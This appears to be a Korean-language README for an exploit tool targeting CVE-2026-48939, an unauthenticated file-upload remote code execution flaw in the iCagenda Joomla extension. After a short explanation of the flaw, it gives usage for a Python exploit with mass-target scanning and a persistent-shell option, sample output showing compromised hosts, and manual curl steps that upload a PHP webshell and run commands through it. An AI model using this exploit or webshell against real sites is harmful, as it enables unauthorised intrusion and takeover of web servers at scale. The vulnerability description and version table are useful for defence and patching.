
iCagenda Joomla 확장 4.0.8 미만용 사전 인증 임의 파일 업로드 RCE 익스플로잇 (CVSS 10.0)
CVE-2026-48939는 Joomla용 iCagenda 이벤트 캘린더 확장 기능의 CVSS 10.0 치명적 취약점입니다. 프론트엔드 이벤트 등록 양식의 파일 첨부 기능은 접근 제어를 뷰 레이어에서만 적용하고 컨트롤러에서는 적용하지 않아, 인증 없이 확장자 검증 없이 파일 업로드가 가능합니다.
업로드된 파일은 웹 루트 아래 /images/icagenda/frontend/attachments/에 직접 저장되며 즉시 PHP로 실행 가능합니다.
| iCagenda 버전 | 상태 |
|---|---|
| 3.2.1 – 3.9.14 | 취약 |
| 4.0.0 – 4.0.7 | 취약 |
| 3.9.15 / 4.0.8+ | 패치됨 |
registration.submit 컨트롤러는 구성 설정에서 '등록 사용자만' 접근 제한을 적용하지 않고 파일 업로드를 처리합니다. 파일 첨부 파일이 원래 확장자를 그대로 저장되며, 허용 목록, MIME 유형 또는 콘텐츠 검증이 없습니다.
뷰 레이어 → "등록 사용자만" 적용 (차단 시도)
컨트롤러 → 인증 검사 없음 (POST로 쉽게 우회)
파일 핸들러 → 확장자 허용 목록 없음, MIME 검사 없음, 콘텐츠 검사 없음
대상 → 웹 접근 가능 디렉토리 → PHP 직접 실행
POST /index.php?option=com_icagenda&task=registration.submit
jform[attachment] = shell.php → /images/icagenda/frontend/attachments/에 저장됨
GET /images/icagenda/frontend/attachments/shell_TIMESTAMP.php?cmd=id
→ PHP 실행 → RCE
git clone https://github.com/shinthink/CVE-2026-48939.git
cd CVE-2026-48939
pip install -r requirements.txt
# 단일 대상
python cve_2026_48939.py -t target.com
# 대량 익스플로잇
python cve_2026_48939.py -f targets.txt
# 지속 셸 (정리 안 함)
python cve_2026_48939.py -t target.com --no-cleanup
# 결과 저장
python cve_2026_48939.py -f targets.txt -o rce.txt
-t, --target 단일 대상 (도메인 또는 IP)
-f, --file 대상 목록, 한 줄에 하나씩
-o, --output RCE 결과를 파일에 저장
--threads 동시 작업자 수 (기본값: 25)
--no-cleanup 대상에 셸을 남김
-v, --verbose 상세 출력 표시
$ python cve_2026_48939.py -t target.com -v
CVE-2026-48939 — iCagenda Joomla RCE 익스플로잇
CVSS 10.0 | 인증 전 | 파일 업로드 → RCE
[+] POST registration.submit (jform[attachment]): HTTP 200
[+] 셸: https://target.com/images/icagenda/frontend/attachments/ic_a3f2b9c1.php
호스트 : target.com
iCagenda : 예 v4.0.5
취약 : 예
RCE : 예
셸 : https://target.com/images/icagenda/frontend/attachments/ic_a3f2b9c1.php
출력 : uid=1001(www-data) gid=1001(www-data) groups=1001(www-data)
시간 : 3.2s
CVE-2026-48939 iCagenda RCE 익스플로잇
대상: 500 | 스레드: 25 | 정리: 켜짐
-------------------------------------------------------
[RCE] target-1.com v4.0.5 3.2s
uid=1001(www-data) gid=1001(www-data)
[RCE] target-2.com v3.9.12 4.1s
uid=33(www-data) gid=33(www-data)
-------------------------------------------------------
합계: 500 | iCagenda: 23 | RCE: 8
-------------------------------------------------------
1단계 — PHP 웹쉘 업로드
cat > shell.php << 'EOF'
<?php echo "OK|".php_uname(); system($_GET["c"]); ?>
EOF
curl -sk -X POST \
-F "title=Event" \
-F "jform[attachment][email protected];type=application/x-php" \
"https://target.com/index.php?option=com_icagenda&task=registration.submit"
2단계 — 명령 실행
curl -sk "https://target.com/images/icagenda/frontend/attachments/shell_TIMESTAMP.php?c=id"
교육 및 승인된 테스트 목적으로만 사용하십시오.
이 소프트웨어는 승인된 침투 테스트를 수행하는 보안 전문가, 자체 인프라를 감사하는 조직, 취약점 악용을 연구하는 연구자를 대상으로 합니다.
무단 컴퓨터 시스템 접근은 불법이며 다음 법률을 위반할 수 있습니다:
- 미국: Computer Fraud and Abuse Act (18 U.S.C. 1030)
- 인도네시아: UU ITE Pasal 30 & 46
- 유럽 연합: Directive 2013/40/EU
- 영국: Computer Misuse Act 1990
저자는 오용에 대한 책임을 지지 않습니다.
| 리소스 | 링크 |
|---|---|
| IONIX 권고 | ionix.io/threat-center/cve-2026-48939 |
| NVD 항목 | CVE-2026-48939 |
| iCagenda 변경 로그 | icagenda.com/docs |
이 프로젝트는 iCagenda 또는 Joomlic와 관련이 없습니다.